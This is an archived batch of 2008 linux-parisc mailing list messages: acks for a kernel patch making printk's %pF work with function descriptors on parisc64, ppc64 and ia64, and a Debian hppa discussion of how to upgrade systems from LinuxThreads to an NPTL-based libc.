NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220567847 8710 80.91.229.12 (4 Sep 2008 22:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 22:37:27 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-ia64@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 00:38:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbNT2-0000ct-0t
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 00:38:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754873AbYIDWhP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 18:37:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754884AbYIDWhP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 18:37:15 -0400
Original-Received: from gate.crashing.org ([63.228.1.57]:58294 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754873AbYIDWhJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 18:37:09 -0400
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m84MaqTj020595;
	Thu, 4 Sep 2008 17:36:53 -0500
In-Reply-To: <1220492616.3254.64.camel@localhost.localdomain>
X-Mailer: Evolution 2.22.3.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:723 gmane.linux.kernel.cross-arch:2092 gmane.linux.ports.ppc64.devel:46571 gmane.linux.ports.ia64:19402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/723>

> Make dereference_function_descriptor() more accommodating by allowing
> architecture overrides.  I put the three overrides (for parisc64, ppc64
> and ia64) in arch/kernel/module.c because that's where the kernel
> internal linker which knows how to deal with function descriptors sits.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.ppc64.devel,gmane.linux.ports.ia64
Subject: RE: [PATCH] Correct printk %pF to work on all architectures
Date: Thu, 4 Sep 2008 16:07:45 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <57C9024A16AD2D4C97DC78E552063EA30A0DC383@orsmsx505.amr.corp.intel.com>
References: <1220473137.3254.29.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
	 <1220481754.3254.42.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
	 <1220482853.3254.47.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
	 <1220484812.3254.59.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org>
	 <1220492616.3254.64.camel@localhost.localdomain>
 <1220567811.4879.85.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1220569690 14297 80.91.229.12 (4 Sep 2008 23:08:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 23:08:10 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	"linuxppc-dev@ozlabs.org" <linuxppc-dev@ozlabs.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: "benh@kernel.crashing.org" <benh@kernel.crashing.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 01:09:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbNwk-0000m3-TD
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 01:09:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754077AbYIDXIA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 19:08:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753733AbYIDXIA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 19:08:00 -0400
Original-Received: from mga09.intel.com ([134.134.136.24]:27814 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752559AbYIDXH7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 19:07:59 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga102.jf.intel.com with ESMTP; 04 Sep 2008 16:04:50 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.32,320,1217833200"; 
   d="scan'208";a="332815828"
Original-Received: from azsmsx602.amr.corp.intel.com ([10.2.121.201])
  by orsmga002.jf.intel.com with ESMTP; 04 Sep 2008 16:07:55 -0700
Original-Received: from orsmsx505.amr.corp.intel.com (10.22.226.208) by
 azsmsx602.amr.corp.intel.com (10.2.121.201) with Microsoft SMTP Server (TLS)
 id 8.1.291.1; Thu, 4 Sep 2008 16:07:48 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx505.amr.corp.intel.com ([10.22.226.208]) with mapi; Thu, 4 Sep 2008
 16:07:46 -0700
Thread-Topic: [PATCH] Correct printk %pF to work on all architectures
Thread-Index: AckO3ti4gY5V8Cl1QYmzfxvi7KD+wgAA8k0Q
In-Reply-To: <1220567811.4879.85.camel@pasglop>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:724 gmane.linux.kernel.cross-arch:2093 gmane.linux.ports.ppc64.devel:46573 gmane.linux.ports.ia64:19403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/724>

>> Make dereference_function_descriptor() more accommodating by allowing
>> architecture overrides.  I put the three overrides (for parisc64, ppc64
>> and ia64) in arch/kernel/module.c because that's where the kernel
>> internal linker which knows how to deal with function descriptors sits.
>>
>> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
>
> Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>

ia64 bits still build, boot and work too.

Acked-by: Tony Luck <tony.luck@intel.com>

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavok@dandreoli.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Fri, 5 Sep 2008 01:22:57 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20080904232257.GA25926@tilt.dandreoli.com>
References: <20080904114551.GA18877@tilt.dandreoli.com> <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com> <20080904152329.GA24316@colo.lackof.org> <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com> <20080904160407.GB24316@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220570616 16849 80.91.229.12 (4 Sep 2008 23:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 23:23:36 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 01:24:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbOBX-0003QK-Fk
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 01:24:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750806AbYIDXXS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 19:23:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751767AbYIDXXS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 19:23:18 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.225]:41071 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751619AbYIDXXR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 19:23:17 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so171626rvb.1
        for <linux-parisc@vger.kernel.org>; Thu, 04 Sep 2008 16:23:16 -0700 (PDT)
Original-Received: by 10.141.204.20 with SMTP id g20mr6097338rvq.230.1220570596176;
        Thu, 04 Sep 2008 16:23:16 -0700 (PDT)
Original-Received: from tilt.localdomain ( [159.149.71.27])
        by mx.google.com with ESMTPS id f21sm18302368rvb.5.2008.09.04.16.23.13
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 04 Sep 2008 16:23:14 -0700 (PDT)
Original-Received: by tilt.localdomain (Postfix, from userid 1000)
	id EA6D74A5; Fri,  5 Sep 2008 01:22:57 +0200 (CEST)
Mail-Followup-To: dann frazier <dannf@dannf.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <20080904160407.GB24316@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:725 gmane.linux.debian.ports.hppa:5483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/725>

On Thu, Sep 04, 2008 at 10:04:07AM -0600, dann frazier wrote:
> On Thu, Sep 04, 2008 at 11:31:52AM -0400, Carlos O'Donell wrote:
> > On Thu, Sep 4, 2008 at 11:23 AM, dann frazier <dannf@dannf.org> wrote:
> > > I've already done the initial bootstrapping and John Wright and I have
> > > a buildd actively rebuilding bits against sid. We're rsyncing the
> > > results out to here:
> > >  http://parisc-linux.org/~dannf/hppa-nptl-mirror/unstable/
> > >
> > > Suffice to say, the rebuild is going fairly smoothly. But, I wonder
> > > how we're going to transition systems over to an NPTL userspace. Does
> > > anyone have a plan for that?
> > 
> > Isn't this the responsibility of the package manager?
> > 
> > Why wouldn't apt-get dist-upgrade work?
> 
> We had a discussion about this on IRC, a while back, let me see if I
> can recap...
> 
> If we continue to use libc6 as the package name as we're currently
> doing, at some point libc will get upgraded to the NPTL interface and
> things will start crashing immediately. I asked if we could just do
> "whatever x86 did", and kyle said that we have a problem they didn't -
> our data nptl/lt data structures are incompatible.
> 
> We can deal with that to an extent by adding a second libc package,
> e.g., libc6.1. But, jejb pointed out that, since most libs depend on
> libc, we'll need to be able to have libs for both interfaces at the
> same time to support a transitional upgrade - and that implies an
> SONAME bump for every C library.

I am not understanding why "we'll need to be able to have libs for both
interfaces at the same time to support a transitional upgrade".

Suppose the new libc6 (LT) is a compatibility wrapper around new libc6.1
(NPTL). The remainder is really an apt's job.

cheers,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavok@dandreoli.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Fri, 5 Sep 2008 01:26:38 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20080904232638.GB25926@tilt.dandreoli.com>
References: <20080904114551.GA18877@tilt.dandreoli.com> <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com> <20080904152329.GA24316@colo.lackof.org> <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com> <20080904160407.GB24316@colo.lackof.org> <1220550764.3276.45.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220570867 17630 80.91.229.12 (4 Sep 2008 23:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 23:27:47 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 01:28:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbOF6-0005P5-E1
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 01:28:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751846AbYIDX06 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 19:26:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751856AbYIDX06
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 19:26:58 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.239]:41819 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751846AbYIDX05 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 19:26:57 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so173036rvb.1
        for <linux-parisc@vger.kernel.org>; Thu, 04 Sep 2008 16:26:57 -0700 (PDT)
Original-Received: by 10.141.74.18 with SMTP id b18mr6123135rvl.80.1220570816281;
        Thu, 04 Sep 2008 16:26:56 -0700 (PDT)
Original-Received: from tilt.localdomain ( [159.149.71.27])
        by mx.google.com with ESMTPS id f21sm18235431rvb.5.2008.09.04.16.26.53
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 04 Sep 2008 16:26:55 -0700 (PDT)
Original-Received: by tilt.localdomain (Postfix, from userid 1000)
	id 92271729; Fri,  5 Sep 2008 01:26:38 +0200 (CEST)
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	dann frazier <dannf@dannf.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <1220550764.3276.45.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:726 gmane.linux.debian.ports.hppa:5484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/726>

On Thu, Sep 04, 2008 at 12:52:44PM -0500, James Bottomley wrote:
> On Thu, 2008-09-04 at 10:04 -0600, dann frazier wrote:
> > 
> > We had a discussion about this on IRC, a while back, let me see if I
> > can recap...
> > 
> > If we continue to use libc6 as the package name as we're currently
> > doing, at some point libc will get upgraded to the NPTL interface and
> > things will start crashing immediately. I asked if we could just do
> > "whatever x86 did", and kyle said that we have a problem they didn't -
> > our data nptl/lt data structures are incompatible.
> > 
> > We can deal with that to an extent by adding a second libc package,
> > e.g., libc6.1. But, jejb pointed out that, since most libs depend on
> > libc, we'll need to be able to have libs for both interfaces at the
> > same time to support a transitional upgrade - and that implies an
> > SONAME bump for every C library.
> > 
> > Hopefully there's an easier way, but I don't know of one.
> 
> Can we go via an intermediate library that would coexist with current
> glibc?  Something like libc6-nptl, then we do the transitional update
> with the tools and other libraries moving over to libc6-nptl, then the
> final piece of the upgrade is libc6 going to nptl based libc6.1 and we
> remove the transitional libc6-nptl?  This type of flip will have to be
> done via ld.so.conf magic, but it should be doable.

Is it possible to export two different symbols based on the version
used at link time?

This way it would remain libc6, all the pre-existing binaries would use
the older interface wrapped around the new one. Of course newly built
packages would link with the new interface.

ciao,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Fri, 5 Sep 2008 08:17:31 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440809050517v2d26e2f1nd2d3e5aa0efe14bd@mail.gmail.com>
References: <20080904114551.GA18877@tilt.dandreoli.com>
	 <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
	 <20080904152329.GA24316@colo.lackof.org>
	 <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
	 <20080904160407.GB24316@colo.lackof.org>
	 <1220550764.3276.45.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220617068 17796 80.91.229.12 (5 Sep 2008 12:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Sep 2008 12:17:48 +0000 (UTC)
Cc: "dann frazier" <dannf@dannf.org>,
	"Debian HPPA Port List" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "James Bottomley" <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 14:18:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbaGs-00029B-1k
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 14:18:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752441AbYIEMRd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Sep 2008 08:17:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752488AbYIEMRd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 5 Sep 2008 08:17:33 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.226]:15643 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752441AbYIEMRc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Sep 2008 08:17:32 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so392030wri.5
        for <linux-parisc@vger.kernel.org>; Fri, 05 Sep 2008 05:17:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=BWoTXPqKigXK0Fn54Ehh6S7EGeUfZCTvL/CS3MxTl1A=;
        b=TV2lme6xmktIfWvKNmUXHrSZ8pPCxT+7GPo8TQm7Ptx9WesYsMoVYQ2iyD9W/LC+BB
         ohfLGplpUTQ4TP5YbvpSMqOEXFXmGp7jrRmbBS/9l1VXkAG9s0zVGXhHUOKTyQ+x+NYb
         Qq88K3ziXAz7DK3oZXr8aA/PNw5uT6XAP4TI8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=AvTf/DeIveYYbvYzbrRZxA563uXnlcGt062e+bjpFf+YRWNxVKfXxKiirh+F3zuqJJ
         Wb8xm6G7GF2q3QWcyIaAGSpabS0vdWXznBDt7e2P2ja4NL5PpMtqGFxEkBugwyfj5Cmi
         GcEizo8p/CW1RDrLcP4XDCOIiG9S87js8APck=
Original-Received: by 10.90.84.2 with SMTP id h2mr14802736agb.93.1220617051383;
        Fri, 05 Sep 2008 05:17:31 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Fri, 5 Sep 2008 05:17:31 -0700 (PDT)
In-Reply-To: <1220550764.3276.45.camel@localhost.localdomain>
Content-Disposition: inline
X-Google-Sender-Auth: a5ee6dd4dc7bbcea
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:727 gmane.linux.debian.ports.hppa:5485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/727>

On Thu, Sep 4, 2008 at 1:52 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> Can we go via an intermediate library that would coexist with current
> glibc?  Something like libc6-nptl, then we do the transitional update
> with the tools and other libraries moving over to libc6-nptl, then the
> final piece of the upgrade is libc6 going to nptl based libc6.1 and we
> remove the transitional libc6-nptl?  This type of flip will have to be
> done via ld.so.conf magic, but it should be doable.

No, due to library-to-library dependencies you have the same problem.
You would either have to rebuild *all* the libraries or continue
splitting each library into two packages lib and lib-nptl.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Fri, 05 Sep 2008 09:07:06 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1220623626.3331.5.camel@localhost.localdomain>
References: <20080904114551.GA18877@tilt.dandreoli.com>
	 <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
	 <20080904152329.GA24316@colo.lackof.org>
	 <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
	 <20080904160407.GB24316@colo.lackof.org>
	 <1220550764.3276.45.camel@localhost.localdomain>
	 <119aab440809050517v2d26e2f1nd2d3e5aa0efe14bd@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220623736 19377 80.91.229.12 (5 Sep 2008 14:08:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Sep 2008 14:08:56 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 16:09:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbbzG-0004al-TI
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 16:08:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753391AbYIEOHM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Sep 2008 10:07:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753759AbYIEOHM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 5 Sep 2008 10:07:12 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:33725 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753391AbYIEOHL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Sep 2008 10:07:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 884B781D5;
	Fri,  5 Sep 2008 09:07:09 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hnGWQWJuZK93; Fri,  5 Sep 2008 09:07:07 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 909388036;
	Fri,  5 Sep 2008 09:07:06 -0500 (CDT)
In-Reply-To: <119aab440809050517v2d26e2f1nd2d3e5aa0efe14bd@mail.gmail.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:728 gmane.linux.debian.ports.hppa:5486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/728>

On Fri, 2008-09-05 at 08:17 -0400, Carlos O'Donell wrote:
> On Thu, Sep 4, 2008 at 1:52 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > Can we go via an intermediate library that would coexist with current
> > glibc?  Something like libc6-nptl, then we do the transitional update
> > with the tools and other libraries moving over to libc6-nptl, then the
> > final piece of the upgrade is libc6 going to nptl based libc6.1 and we
> > remove the transitional libc6-nptl?  This type of flip will have to be
> > done via ld.so.conf magic, but it should be doable.
> 
> No, due to library-to-library dependencies you have the same problem.
> You would either have to rebuild *all* the libraries or continue
> splitting each library into two packages lib and lib-nptl.

We are going to have to rebuild all the libraries, that's not an option
because of the ABI change.

The problem is not to avoid this, but to find a way of doing an online
upgrade.  The real problem we have to avoid is breaking system tools
that are required to perform the upgrade in the intermediate steps.  I
don't rule out that will require us to pull this trick with some
libraries in addition to libc, but I don't think it will be all of them.
Just doing libc will probably fix the majority of the issues, though.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
